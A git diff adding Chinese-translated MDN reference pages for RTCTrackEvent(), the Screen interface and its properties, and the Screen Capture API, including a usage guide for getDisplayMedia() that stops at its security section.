diff --git a/files/zh-cn/web/api/rtctrackevent/rtctrackevent/index.html b/files/zh-cn/web/api/rtctrackevent/rtctrackevent/index.html new file mode 100644 index 0000000000..abebd2175f --- /dev/null +++ b/files/zh-cn/web/api/rtctrackevent/rtctrackevent/index.html @@ -0,0 +1,55 @@ +--- +title: RTCTrackEvent() +slug: Web/API/RTCTrackEvent/RTCTrackEvent +translation_of: Web/API/RTCTrackEvent/RTCTrackEvent +--- +
{{APIRef("WebRTC")}}
+ +

The RTCTrackEvent() constructor creates and returns a new {{domxref("RTCTrackEvent")}} object, configured to describe the track which has been added to the {{domxref("RTCPeerConnection")}}.

+ +

In general, you won't need to use this constructor, as RTCTrackEvent objects are created by WebRTC and delivered to your RTCPeerConnector's {{domxref("RTCPeerConnection.ontrack", "ontrack")}} event handler as appropriate.

+ +

Syntax

+ +
trackEvent = new RTCTrackEvent(eventInfo);
+ +

Parameters

+ +
+
+
eventInfo
+
An object based on the {{domxref("RTCTrackEventInit")}} dictionary, providing information about the track which has been added to the {{domxref("RTCPeerConnection")}}. This object has the following properties:
+ {{page("/en-US/docs/Web/API/RTCTrackEventInit", "property-list")}}
+
+
+ +

Return value

+ +

A new {{domxref("RTCTrackEvent")}} describing a track which has been added to the RTCPeerConnection.

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebRTC 1.0', '#constructors-3', 'RTCTrackEvent()')}}{{Spec2('WebRTC 1.0')}}Initial specification.
+ +

Browser compatibility

+ + + +

{{Compat("api.RTCTrackEvent.RTCTrackEvent")}}

+ +

 

diff --git a/files/zh-cn/web/api/screen/availheight/index.html b/files/zh-cn/web/api/screen/availheight/index.html new file mode 100644 index 0000000000..9a09071edf --- /dev/null +++ b/files/zh-cn/web/api/screen/availheight/index.html @@ -0,0 +1,18 @@ +--- +title: Screen.availHeight +slug: Web/API/Screen/availHeight +translation_of: Web/API/Screen/availHeight +--- +
+ {{APIRef}}
+

概述

+

返回浏览器窗口在屏幕上可占用的垂直空间,即最大高度。

+

语法

+
iAvail = window.screen.availHeight
+

示例

+
if (window.screen.availHeight !== window.screen.height) {
+  // something's in the way!
+  // use available to size window
+}
+

规范

+

{{DOM0}}

diff --git a/files/zh-cn/web/api/screen/availleft/index.html b/files/zh-cn/web/api/screen/availleft/index.html new file mode 100644 index 0000000000..d5cf983be3 --- /dev/null +++ b/files/zh-cn/web/api/screen/availleft/index.html @@ -0,0 +1,25 @@ +--- +title: Screen.availLeft +slug: Web/API/Screen/availLeft +translation_of: Web/API/Screen/availLeft +--- +

{{ ApiRef() }}

+

概述

+

返回浏览器可用空间左边距离屏幕(系统桌面)左边界的距离。

+

语法

+
iAvail = window.screen.availLeft
+
+

示例

+
setY = window.screen.height - window.screen.availTop;
+setX = window.screen.width - window.screen.availLeft;
+window.moveTo(setX, setY);
+
+

备注

+

大多数情况下,该属性返回 0。

+

如果你在有两个屏幕的电脑上使用该属性,在右侧屏幕计算该属性值时,返回左侧屏幕的宽度(单位:像素),也即左侧屏幕左边界的 X 坐标。

+

在 Windows 中,该属性值取决于哪个屏幕被设为主屏幕,返回相对于主屏幕左边界的 X 坐标。就是说,即使主屏幕不是左侧的屏幕,它的左边界的 X 坐标也是返回 0。如果副屏幕在主屏幕的左侧,则它拥有负的 X 坐标。

+

[1] [2] - 左屏幕 availLeft 返回 0,右侧的屏幕返回左侧屏幕的宽度

+

[2] [1] - 左侧屏幕 availLeft 返回该屏幕的 -width,右侧屏幕返回 0

+

规范

+

DOM Level 0。不属于任何规范。

+

{{ languages( { "ja": "ja/DOM/window.screen.availLeft" } ) }}

diff --git a/files/zh-cn/web/api/screen/availtop/index.html b/files/zh-cn/web/api/screen/availtop/index.html new file mode 100644 index 0000000000..bc426fde76 --- /dev/null +++ b/files/zh-cn/web/api/screen/availtop/index.html @@ -0,0 +1,23 @@ +--- +title: Screen.availTop +slug: Web/API/Screen/availTop +translation_of: Web/API/Screen/availTop +--- +

{{ ApiRef() }}

+

概述

+

浏览器窗口在屏幕上的可占用空间上边距离屏幕上边界的像素值。

+

语法

+
iAvail = window.screen.availTop
+
+

示例

+
setY = window.screen.height - window.screen.availTop;
+setX = window.screen.width - window.screen.availLeft;
+window.moveTo(setX, setY);
+
+

备注

+

大多数情况下,该属性返回 0。

+

规范

+

DOM Level 0。不属于任何规范。

+
+  
+

{{ languages( { "ja": "ja/DOM/window.screen.availTop" } ) }}

diff --git a/files/zh-cn/web/api/screen/availwidth/index.html b/files/zh-cn/web/api/screen/availwidth/index.html new file mode 100644 index 0000000000..0214c05982 --- /dev/null +++ b/files/zh-cn/web/api/screen/availwidth/index.html @@ -0,0 +1,18 @@ +--- +title: Screen.availWidth +slug: Web/API/Screen/availWidth +translation_of: Web/API/Screen/availWidth +--- +
+ {{ APIRef() }}
+

概述

+

返回浏览器窗口可占用的水平宽度(单位:像素)。

+

语法

+
window.screen.availWidth
+

示例

+
var screenAvailWidth = window.screen.availWidth;
+
+console.log(screenAvailWidth);
+

规范

+
+ {{DOM0()}}
diff --git a/files/zh-cn/web/api/screen/colordepth/index.html b/files/zh-cn/web/api/screen/colordepth/index.html new file mode 100644 index 0000000000..0f80ad810b --- /dev/null +++ b/files/zh-cn/web/api/screen/colordepth/index.html @@ -0,0 +1,53 @@ +--- +title: Screen.colorDepth +slug: Web/API/Screen/colorDepth +tags: + - API +translation_of: Web/API/Screen/colorDepth +--- +
 
+ +
{{APIRef("CSSOM View")}}
+ +

概述

+ +

返回屏幕的颜色深度(color depth)。根据CSSOM( CSS对象模型 )视图,为兼容起见,该值总为24。

+ +

语法

+ +
bitDepth = window.screen.colorDepth
+
+ +

示例

+ +
// 检测屏幕的颜色深度
+if ( window.screen.colorDepth < 8) {
+  // 使用低色彩版本页面
+} else {
+  // 使用常规的彩色版页面
+}
+
+ +

规范

+ + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSSOM View', '#dom-screen-colordepth', 'Screen.colorDepth') }}{{ Spec2('CSSOM View') }}
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/screen/height/index.html b/files/zh-cn/web/api/screen/height/index.html new file mode 100644 index 0000000000..c71a1d06f5 --- /dev/null +++ b/files/zh-cn/web/api/screen/height/index.html @@ -0,0 +1,22 @@ +--- +title: Screen.height +slug: Web/API/Screen/height +translation_of: Web/API/Screen/height +--- +
+ {{APIRef}}
+

概述

+

返回屏幕的高度(单位:像素)。

+

语法

+
iHeight = window.screen.height
+
+

示例

+
if (window.screen.availHeight !== window.screen.height) {
+   // something is occupying some screen real estate!
+}
+
+

备注

+

注意,该属性返回的高度值并不是全部对浏览器窗口可用。小工具(Widgets),如任务栏或其他特殊的程序窗口,可能会减少浏览器窗口和其他应用程序能够利用的空间。

+

当返回屏幕高度时,IE 会考虑缩放设置。只有当缩放比例为 100% 时,IE 才会返回真实的屏幕高度。

+

规范

+

{{dom0}}

diff --git a/files/zh-cn/web/api/screen/index.html b/files/zh-cn/web/api/screen/index.html new file mode 100644 index 0000000000..4ca30e88e0 --- /dev/null +++ b/files/zh-cn/web/api/screen/index.html @@ -0,0 +1,102 @@ +--- +title: Screen +slug: Web/API/Screen +tags: + - API + - 参考 + - 接口 +translation_of: Web/API/Screen +--- +
{{APIRef("CSSOM View")}}
+ +

Screen 接口表示一个屏幕窗口,往往指的是当前正在被渲染的window对象,可以使用 window.screen 获取它。

+ +

请注意:由浏览器决定提供屏幕对象,此对象一般通过当前浏览器窗口活动状态动态检测来得到。

+ +

属性

+ +
+
{{domxref("Screen.availTop")}}
+
Specifies the y-coordinate of the first pixel that is not allocated to permanent or semipermanent user interface features.
+
{{domxref("Screen.availLeft")}}
+
返回屏幕左边边界的第一个像素点
+
{{domxref("Screen.availHeight")}}
+
Specifies the height of the screen, in pixels, minus permanent or semipermanent user interface features displayed by the operating system, such as the Taskbar on Windows.
+
{{domxref("Screen.availWidth")}}
+
返回窗口中水平方向可用空间的像素值。
+
{{domxref("Screen.colorDepth")}}
+
返回屏幕的色彩深度。
+
{{domxref("Screen.height")}}
+
以像素为单位返回屏幕的高度。
+
{{domxref("Screen.left")}}
+
返回从最左边界到当前屏幕的像素值。
+
{{domxref("Screen.orientation")}}
+
返回当前屏幕的转向。
+
{{domxref("Screen.pixelDepth")}}
+
获取屏幕的像素点
+
{{domxref("Screen.top")}}
+
返回最上边界到当前屏幕的像素值。
+
{{domxref("Screen.width")}}
+
返回屏幕的宽度。
+
{{domxref("Screen.mozEnabled")}} {{gecko_minversion_inline("12.0")}}
+
布尔值。如果设置为false讲关闭设备的屏幕。
+
{{domxref("Screen.mozBrightness")}} {{gecko_minversion_inline("12.0")}}
+
控制设备屏幕的亮度。期望参数是0-1.0之间的浮点数。
+
+ +

Events handler

+ +
+
{{domxref("Screen.onorientationchange")}}
+
对{{event("orientationchange")}} 事件的时间处理器。
+
 
+
+ +

方法

+ +
+
{{domxref("Screen.lockOrientation")}}
+
锁定屏幕转向(仅在全屏或者已安装的APP中生效)
+
{{domxref("Screen.unlockOrientation")}}
+
解锁屏幕转向(仅在全屏或者已安装的APP中生效)
+
+ +

方法继承于 {{domxref("EventTarget")}}

+ +

{{page("/en-US/docs/Web/API/EventTarget","Methods")}}

+ +

示例

+ +
if (screen.pixelDepth < 8) {
+  // use low-color version of page
+} else {
+  // use regular, colorful page
+}
+
+ +

标准文档说明

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSSOM View', '#the-screen-interface', 'Screen') }}{{ Spec2('CSSOM View') }} 
+ +

浏览器兼容性

+ + + +

{{Compat("api.Screen")}} 

diff --git a/files/zh-cn/web/api/screen/lockorientation/index.html b/files/zh-cn/web/api/screen/lockorientation/index.html new file mode 100644 index 0000000000..f9169a396b --- /dev/null +++ b/files/zh-cn/web/api/screen/lockorientation/index.html @@ -0,0 +1,198 @@ +--- +title: Screen.lockOrientation() +slug: Web/API/Screen/lockOrientation +translation_of: Web/API/Screen/lockOrientation +--- +

{{APIRef("CSSOM View")}}{{SeeCompatTable}}

+ +

lockOrientation 此方法会把屏幕锁定为指定的方向.

+ +
+

注意: 此方法仅适用于已安装的Web apps 或 全屏模式 的Web 页面.

+
+ +

使用方法

+ +
lockedAllowed = window.screen.lockOrientation(orientation);
+ +

参数介绍

+ +
+
orientation
+
需要锁定屏幕的方向。这个参数是一个字符串或者是一个由字符串组成的数组。通过多个字符串可以让屏幕只在选定的方向上进行旋转。
+
+ +

以下的字符串即表示你也许会指定的一些可能的方向。

+ +
+
portrait-primary
+
它表示屏幕处于主要的肖像模式时的方向。如果设备处于正常位置且该位置处于纵向位置,或设备的正常位置处于横向并且设备保持顺时针转动90°,则会在主肖像模式下考虑屏幕。正常的位置是依赖于设备的。
+
portrait-secondary
+
+

它表示屏幕处于辅助肖像模式时的方向。如果设备与正常位置保持180°,并且该位置处于纵向位置,或者设备的正常位置处于横向位置,并且持有的设备逆时针转动90°,则屏幕将处于辅助人像模式。正常的位置是依赖于设备的。

+
+
landscape-primary
+
它代表了屏幕处于主要风景模式时的方向。 如果设备保持在正常位置,并且该位置处于横向位置,或者设备的正常位置处于纵向位置,并且所保持的设备顺时针旋转90°,则会将其视为主要横向模式。正常的位置是依赖于设备的。
+
landscape-secondary
+
它代表了屏幕处于次要风景模式时的方向。如果设备与其正常位置保持180°并且该位置处于横向,或者如果设备的正常位置是纵向的,并且所保持的设备逆时针旋转90°,则将其视为次要横向模式。正常的位置是依赖于设备的。
+
portrait
+
它表示同时包含 portrait-primary 和 portrait-secondary.
+
landscape
+
它表示同时包含 landscape-primary 和 landscape-secondary.
+
+ +
+
default
+
它代表 portrait-primary 和 landscape-primary 主要取决于设备的自然方向。例如,如果面板分辨率为1280 * 800,则 default 为横向,如果分辨率为800 * 1280,则 default 为纵向。
+
+ +
+

注意: 可同时设置多个锁定值。因此,如果锁定设置为只有一个方向,屏幕方向将永远不会改变,直到屏幕方向解锁。否则,只要方向在设备锁定的方向之中,屏幕方向就会从一个方向改变到另一个方向。

+
+ +

返回值

+ +

如果方向被授权锁定,则返回 true ;如果方向锁定被拒绝,则返回 false。请注意,返回值并不表示屏幕方向确实被锁定:可能会有延迟。

+ +

示例

+ +

使用 DOMString 参数

+ +
screen.lockOrientationUniversal = screen.lockOrientation || screen.mozLockOrientation || screen.msLockOrientation;
+
+if (screen.lockOrientationUniversal("landscape-primary")) {
+  // 方向已锁定成功
+} else {
+  // 方向锁定失败
+}
+
+ +

使用 Array 参数

+ +
screen.lockOrientationUniversal = screen.lockOrientation || screen.mozLockOrientation || screen.msLockOrientation;
+
+if (screen.lockOrientationUniversal(["landscape-primary", "landscape-secondary"])) {
+  // 方向已锁定成功
+} else {
+  // 方向锁定失败
+}
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态说明
{{SpecName('Screen Orientation', '', 'Screen Orientation')}}{{Spec2('Screen Orientation')}}Initial definition
+ +

浏览器兼容

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
基础支持{{CompatChrome(38)}}[1]{{CompatVersionUnknown}} {{property_prefix("moz")}}[2]11 {{property_prefix("ms")}}[3]{{CompatNo}}{{CompatNo}}
Array 参数{{CompatNo}}{{CompatGeckoDesktop("18.0")}}11 {{property_prefix("ms")}}{{CompatNo}}{{CompatNo}}
default{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
基础支持{{CompatNo}}{{CompatChrome(38)}}[1]{{CompatVersionUnknown}} {{property_prefix("moz")}}[2]{{CompatNo}}{{CompatNo}}{{CompatNo}}
Array 参数{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile("18.0")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
default{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile("26.0")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] 使用更新的标准语法(screen.orientation.lock)实现类似的方法并返回一个 Promise 。虽然它存在于桌面上,但总是会失败。

+ +

[2] 此API仅作为Firefox OS和Firefox的前缀方法(screen.mozLockOrientation)实现。另外,由于{{Bug(966480)}},它不适用于Android的Firefox。

+ +

[3] 此方法在Internet Explorer for Windows 8.1和Windows RT 8.1中使用前缀(screen.msLockOrientation)实现。 它在Windows 7 上不受支持。

+ +

参见

+ + diff --git a/files/zh-cn/web/api/screen/orientation/index.html b/files/zh-cn/web/api/screen/orientation/index.html new file mode 100644 index 0000000000..0a06678a03 --- /dev/null +++ b/files/zh-cn/web/api/screen/orientation/index.html @@ -0,0 +1,69 @@ +--- +title: Screen.orientation +slug: Web/API/Screen/orientation +tags: + - API + - Experimental + - Screen Orientation + - screen +translation_of: Web/API/Screen/orientation +--- +

{{APIRef("Screen Orientation API")}}{{SeeCompatTable}}

+ +

orientation 是 {{DOMxRef("Screen")}} 接口的一个只读属性,返回屏幕当前的方向。

+ +

语法

+ +
var orientation = window.screen.orientation;
+ +

返回值

+ +

一个 {{DOMxRef("ScreenOrientation")}} 的实例,表示屏幕的方向。

+ +

注意在更早的、有前缀的版本中会返回一个 {{DOMxRef("DOMString")}} 值,相当于 {{DOMxRef("ScreenOrientation.type")}} 的值。

+ +

示例

+ +
var orientation = (screen.orientation || {}).type || screen.mozOrientation || screen.msOrientation;
+
+if (orientation === "landscape-primary") {
+  console.log("That looks good.");
+} else if (orientation === "landscape-secondary") {
+  console.log("Mmmh... the screen is upside down!");
+} else if (orientation === "portrait-secondary" || orientation === "portrait-primary") {
+  console.log("Mmmh... you should rotate your device to landscape");
+} else if (orientation === undefined) {
+  console.log("The orientation API isn't supported in this browser :(");
+}
+
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('Screen Orientation', '#dom-screen-orientation', 'orientation')}}{{Spec2('Screen Orientation')}}Initial definition
+ +

浏览器兼容性

+ +

{{Compat("api.Screen.orientation")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/screen/pixeldepth/index.html b/files/zh-cn/web/api/screen/pixeldepth/index.html new file mode 100644 index 0000000000..c96b7e4253 --- /dev/null +++ b/files/zh-cn/web/api/screen/pixeldepth/index.html @@ -0,0 +1,51 @@ +--- +title: Screen.pixelDepth +slug: Web/API/Screen/pixelDepth +tags: + - API +translation_of: Web/API/Screen/pixelDepth +--- +
{{APIRef("CSSOM View")}}
+ +

概述

+ +

返回屏幕的位深度/色彩深度(bit depth)。根据CSSOM( CSS对象模型 )视图,为兼容起见,该值总为24。

+ +

语法

+ +
depth = window.screen.pixelDepth
+
+ +

示例

+ +
// 如果没有足够的位深度/色彩深度(bit depth),就选择一个更纯的颜色
+if ( window.screen.pixelDepth > 8 ) {
+  document.style.color = "#FAEBD7";
+} else {
+  document.style.color = "#FFFFFF";
+}
+
+ +

规范

+ + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSSOM View', '#dom-screen-pixeldepth', 'Screen.pixelDepth') }}{{ Spec2('CSSOM View') }}
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/screen/width/index.html b/files/zh-cn/web/api/screen/width/index.html new file mode 100644 index 0000000000..9a412ccbda --- /dev/null +++ b/files/zh-cn/web/api/screen/width/index.html @@ -0,0 +1,23 @@ +--- +title: Screen.width +slug: Web/API/Screen/width +translation_of: Web/API/Screen/width +--- +
+ {{APIRef}}
+

概述

+

返回屏幕的宽度。

+

语法

+
lWidth = window.screen.width
+
+

示例

+
// crude way to check that the screen is at 1024x768
+if (window.screen.width > 1000) {
+  // resolution is below 10 x 7
+}
+
+

备注

+

注意,该属性返回的宽度值不一定就是浏览器窗口可使用的宽度。当有其他小工具占据了屏幕空间时,浏览器有时不能占用小工具(如任务栏)占据的空间。window.screen.width 和 window.screen.availWidth 两者不同。相关属性 {{domxref("window.screen.height")}}。

+

在返回该值时,IE 会考虑缩放设置。只有在缩放比例为 100% 时,IE 才返回真实的屏幕宽度。

+

规范

+

{{dom0}}

diff --git a/files/zh-cn/web/api/screen_capture_api/index.html b/files/zh-cn/web/api/screen_capture_api/index.html new file mode 100644 index 0000000000..9c7385bf34 --- /dev/null +++ b/files/zh-cn/web/api/screen_capture_api/index.html @@ -0,0 +1,143 @@ +--- +title: 屏幕捕捉API +slug: Web/API/Screen_Capture_API +tags: + - API + - Capture + - Conference + - Media + - MediaDevices + - MediaStream + - NeedsTranslation + - Overview + - Screen Capture + - Screen Capture API + - Screen Sharing + - Sharing + - TopicStub + - Video + - Window + - display + - getDisplayMedia + - screen +translation_of: Web/API/Screen_Capture_API +--- +
{{DefaultAPISidebar("屏幕捕获API")}}
+ +

屏幕捕获API对现有的媒体捕获和流API进行了补充,让用户选择一个屏幕或屏幕的一部分(如一个窗口)作为媒体流进行捕获。然后,该流可以被记录或通过网络与他人共享。

+ +

屏幕捕捉API的概念和用法

+ +

屏幕捕捉API使用起来相对简单。其唯一的方法是{{domxref("MediaDevices.getDisplayMedia()")}},它的任务是以捕获的形式要求用户选择一个屏幕或屏幕的一部分的{{domxref("MediaStream")}}。

+ +

要开始从屏幕上捕捉视频,你需要在 getDisplayMedia() 的实例上调用 Media navigator.mediaDevices

+ +
captureStream = await navigator.mediaDevices.getDisplayMedia(displayMediaOptions);
+ +

The {{jsxref("Promise")}} returned by getDisplayMedia() resolves to a {{domxref("MediaStream")}} which streams the captured media.

+ +

See the article Using the Screen Capture API for a more in-depth look at how to use the API to capture screen contents as a stream.

+ +

增加现有接口

+ +

屏幕捕捉API没有自己的任何接口,而是在现有的 {{domxref("MediaDevices")}} 接口上添加了一个方法。

+ +

MediaDevices 接口

+ +
+
{{domxref("MediaDevices.getDisplayMedia()")}}
+
The getDisplayMedia() method is added to the MediaDevices interface. Similar to {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}}, this method creates a promise that resolves with a {{domxref("MediaStream")}} containing the display area selected by the user, in a format that matches the specified options.
+
+ +

Additions to existing dictionaries

+ +

The Screen Capture API adds properties to the following dictionaries defined by other specifications.

+ +

MediaTrackConstraints

+ +
+
{{domxref("MediaTrackConstraints.cursor")}}
+
A {{domxref("ConstrainDOMString")}} indicating whether or not the cursor should be included in the captured display surface's stream, and if it should always be visible or if it should only be visible while the mouse is in motion.
+
{{domxref("MediaTrackConstraints.displaySurface")}}
+
A {{domxref("ConstrainDOMString")}} indicating what type of display surface is to be captured. The value is one of application, browser, monitor, or window.
+
{{domxref("MediaTrackConstraints.logicalSurface")}}
+
Indicates whether or not the video in the stream represents a logical display surface (that is, one which may not be entirely visible onscreen, or may be completely offscreen). A value of true indicates a logical display surface is to be captured.
+
+ +

MediaTrackSettings

+ +
+
{{domxref("MediaTrackSettings.cursor")}}
+
A string which indicates whether or not the display surface currently being captured includes the mouse cursor, and if so, whether it's only visible while the mouse is in motion or if it's always visible. The value is one of always, motion, or never.
+
{{domxref("MediaTrackSettings.displaySurface")}}
+
A string indicating what type of display surface is currently being captured. The value is one of application, browser, monitor, or window.
+
{{domxref("MediaTrackSettings.logicalSurface")}}
+
A Boolean value which is true if the video being captured doesn't directly correspond to a single onscreen display area.
+
+ +

MediaTrackSupportedConstraints

+ +
+
{{domxref("MediaTrackSupportedConstraints.cursor")}}
+
A Boolean which is true if the user agent and device support the {{domxref("MediaTrackConstraints.cursor")}} constraint.
+
{{domxref("MediaTrackSupportedConstraints.displaySurface")}}
+
A Boolean which is true if the current environment supports the {{domxref("MediaTrackConstraints.displaySurface")}} constraint.
+
{{domxref("MediaTrackSupportedConstraints.logicalSurface")}}
+
A Boolean which is true if the current environment supports the constraint {{domxref("MediaTrackConstraints.logicalSurface")}}.
+
+ +

Dictionaries

+ +

The following dictionaries are defined by the Screen Capture API.

+ +
+
CursorCaptureConstraint
+
An enumerated string type used to provide the value for the cursor property for the settings and constraints. The possible values are always, motion, and never.
+
DisplayCaptureSurfaceType
+
An enumerated string type which is used to identify the kind of display surface to capture. This type is used for the displaySurface property in the constraints and settings objects, and has the possible values application, browser, monitor, and window.
+
+ +

Feature Policy validation

+ +

{{Glossary("User agent", "User agents")}} that support Feature Policy (either using HTTP's {{HTTPHeader("Feature-Policy")}} header or the {{HTMLElement("iframe")}} attribute {{htmlattrxref("allow", "iframe")}}) can specify a desire to use the Screen Capture API using the policy control directive display-capture:

+ +
<iframe allow="display-capture" src="/some-other-document.html">
+ +

The default allow list is self, which lets the any content within the document use Screen Capture.

+ +

See Using Feature Policy for a more in-depth explanation of how Feature Policy is used.

+ +

规范

+ +

+

+ + + + + + + + + + + + +
规范状态说明
{{SpecName('Screen Capture')}}{{Spec2('Screen Capture')}}初始定义。
+ + +

浏览器兼容性

+ +
+ + +

{{Compat("api.MediaDevices.getDisplayMedia")}}

+
+ +

相关链接

+ +

+

diff --git "a/files/zh-cn/web/api/screen_capture_api/\344\275\277\347\224\250\345\261\217\345\271\225\346\215\225\350\216\267api/index.html" "b/files/zh-cn/web/api/screen_capture_api/\344\275\277\347\224\250\345\261\217\345\271\225\346\215\225\350\216\267api/index.html" new file mode 100644 index 0000000000..ff32263241 --- /dev/null +++ "b/files/zh-cn/web/api/screen_capture_api/\344\275\277\347\224\250\345\261\217\345\271\225\346\215\225\350\216\267api/index.html" @@ -0,0 +1,355 @@ +--- +title: 使用屏幕捕获API +slug: Web/API/Screen_Capture_API/使用屏幕捕获API +tags: + - API + - 屏幕捕获 + - 捕获 +translation_of: Web/API/Screen_Capture_API/Using_Screen_Capture +--- +

{{DefaultAPISidebar("使用屏幕捕获API")}}

+ +

在这篇文章中,我们将研究如何使用屏幕捕获API和它的{{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}}方法来捕获部分或全部屏幕进行流媒体传输,通过WebRTC录制或分享。

+ +
+

Note: It may be useful to note that recent versions of the WebRTC adapter.js shim include implementations of getDisplayMedia() to enable screen sharing on browsers that support it but do not implement the current standard API. This works with at least Chrome, Edge, and Firefox.

+
+ +

捕捉屏幕内容

+ +

Capturing screen contents as a live {{domxref("MediaStream")}} is initiated by calling {{domxref("MediaDevices.getDisplayMedia", "navigator.mediaDevices.getDisplayMedia()")}}, which returns a promise that resolves to a stream containing the live screen contents.

+ +
+
开始屏幕捕捉: 使用async/await 风格
+ +
async function startCapture(displayMediaOptions) {
+  let captureStream = null;
+
+  try {
+    captureStream = await navigator.mediaDevices.getDisplayMedia(displayMediaOptions);
+  } catch(err) {
+    console.error("Error: " + err);
+  }
+  return captureStream;
+}
+ +

You can write this code either using an asynchronous function and the await operator, as shown above, or using the {{jsxref("Promise")}} directly, as seen below.

+ +
+
开始屏幕捕获: 使用Promise 风格 + +
function startCapture(displayMediaOptions) {
+ let captureStream = null;
+
+ return navigator.mediaDevices.getDisplayMedia(displayMediaOptions)
+    .catch(err => { console.error("Error:" + err); return null; });
+}
+ +

Either way, the {{Glossary("user agent")}} responds by presenting a user interface that prompts the user to choose the screen area to share. Both of these implementations of startCapture() return the {{domxref("MediaStream")}} containing the captured display imagery.

+ +

See {{anch("Options and constraints")}}, below, for more on both how to specify the type of surface you want as well as other ways to adjust the resulting stream.

+ +
+
Example of a window allowing the user to select a display surface to capture
+ +

Screenshot of Chrome's window for picking a source surface

+
+ +

You can then use the captured stream, captureStream, for anything that accepts a stream as input. The {{anch("Examples", "examples")}} below show a few ways to make use of the stream.

+ +

Visible vs logical display surfaces

+ +

For the purposes of the Screen Capture API, a display surface is any content object that can be selected by the API for sharing purposes. Sharing surfaces include the contents of a browser tab, a complete window, all of the applications of a window combined into a single surface, and a monitor (or group of monitors combined together into one surface).

+ +

There are two types of display surface. A visible display surface is a surface which is entirely visible on the screen, such as the frontmost window or tab, or the entire screen.

+ +

A logical display surface is one which is in part or completely obscured, either by being overlapped by another object to some extent, or by being entirely hidden or offscreen. How these are handled by the Screen Capture API varies. Generally, the browser will provide an image which obscures the hidden portion of the logical display surface in some way, such as by blurring or replacing with a color or pattern. This is done for security reasons, as the content that cannot be seen by the user may contain data which they do not want to share.

+ +

A user agent might allow the capture of the entire content of an obscured window after gaining permission from the user to do so. In this case, the user agent may include the obscured content, either by getting the current contents of the hidden portion of the window or by presenting the most-recently-visible contents if the current contents are not available.

+ +

Options and constraints

+ +

The constraints object passed into {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} is a {{domxref("DisplayMediaStreamConstraints")}} object which is used to configuring the resulting stream.

+ +
+

Note: Unlike most uses of constraints in media APIs, here it's solely used to define the stream configuration, and not to filter the available choices.

+
+ +

There are three new constraints added to MediaTrackConstraints (as well as to {{domxref("MediaTrackSupportedConstraints")}} and {{domxref("MediaTrackSettings")}}) for configuring a screen capture stream:

+ +
+
{{domxref("MediaTrackConstraints.cursor", "cursor")}}
+
+

Indicates whether or not to capture the mouse cursor, and if so, whether to do so all the time or only while the mouse is in motion. The possible values are:

+ +
+
always
+
The mouse cursor should always be captured in the generated stream.
+
motion
+
The cursor should only be visible while moving, and, at the discretion of the {{Glossary("user agent")}}, for a brief time before after moving. Then the cursor is removed from the stream.
+
never
+
The cursor should never be visible in the generated stream.
+
+
+
{{domxref("MediaTrackConstraints.logicalSurface", "logicalSurface")}}
+
A Boolean which if true indicates that the capture should include offscreen areas of the source, if there are any.
+
+ +

None of the constraints are applied in any way until after the content to capture has been selected. The contraints alter what you see in the resulting stream.

+ +

For example, if you specify a {{domxref("MediaTrackConstraints.width", "width")}} constraint for the video, it's applied by scaling the video after the user selects the area to share. It doesn't establish a restriction on the size of the source itself.

+ +
+

Note: Constraints never cause changes to the list of sources available for capture by the Screen Sharing API. This ensures that web applications can't force the user to share specific content by restricting the source list until only one item is left.

+
+ +

While display capture is in effect, the machine which is sharing screen contents will display some form of indicator so the user is aware that sharing is taking place.

+ +
+

Note: For privacy and security reasons, screen sharing sources are not enumerable using {{domxref("MediaDevices.enumerateDevices", "enumerateDevices()")}}. Related to this, the {{event("devicechange")}} event is never sent when there are changes to the sources available for getDisplayMedia().

+
+ +

Capturing shared audio

+ +

{{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} is most commonly used to capture video of a user's screen (or parts thereof). However, {{Glossary("user agent", "user agents")}} may allow the capture of audio along with the video content. The source of this audio might be the selected window, the entire computer's audio system, or the user's microphone (or a combination of all of the above).

+ +

Before starting a project that will require sharing of audio, be sure to check the {{SectionOnPage("/en-US/docs/Web/API/MediaDevices/getDisplayMedia", "Browser compatibility", "code")}} to see if the browsers you wish compaibility with have support for audio in captured screen streams.

+ +

To request that the screen be shared with included audio, the options passed into getDisplayMedia() might look like this:

+ +
const gdmOptions = {
+  video: true,
+  audio: true
+}
+
+ +

This allows the user total freedom to select whatever they want, within the limits of what the user agent supports. This could be refined further by specifying additional information for each of audio and video:

+ +
const gdmOptions = {
+  video: {
+    cursor: "always"
+  },
+  audio: {
+    echoCancellation: true,
+    noiseSuppression: true,
+    sampleRate: 44100
+  }
+}
+
+ +

In this example the cursor will always be visible in the capture, and the audio track should ideally have noise suppression and echo cancellation features enabled, as well as an ideal audio sample rate of 44.1kHz.

+ +

Capturing audio is always optional, and even when web content requests a stream with both audio and video, the returned {{domxref("MediaStream")}} may still have only one video track, with no audio.

+ +
+

Note: Some properties are not widely implemented and might not be used by the engine. cursor, for example, has limited support.

+
+ +

使用捕获的数据流

+ +

The {{jsxref("promise")}} returned by {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} resolves to a {{domxref("MediaStream")}} that contains at least one video stream that contains the screen or screen area, and which is adjusted or filtered based upon the constraints specifed when getDisplayMedia() was called.

+ +

安全

+ +

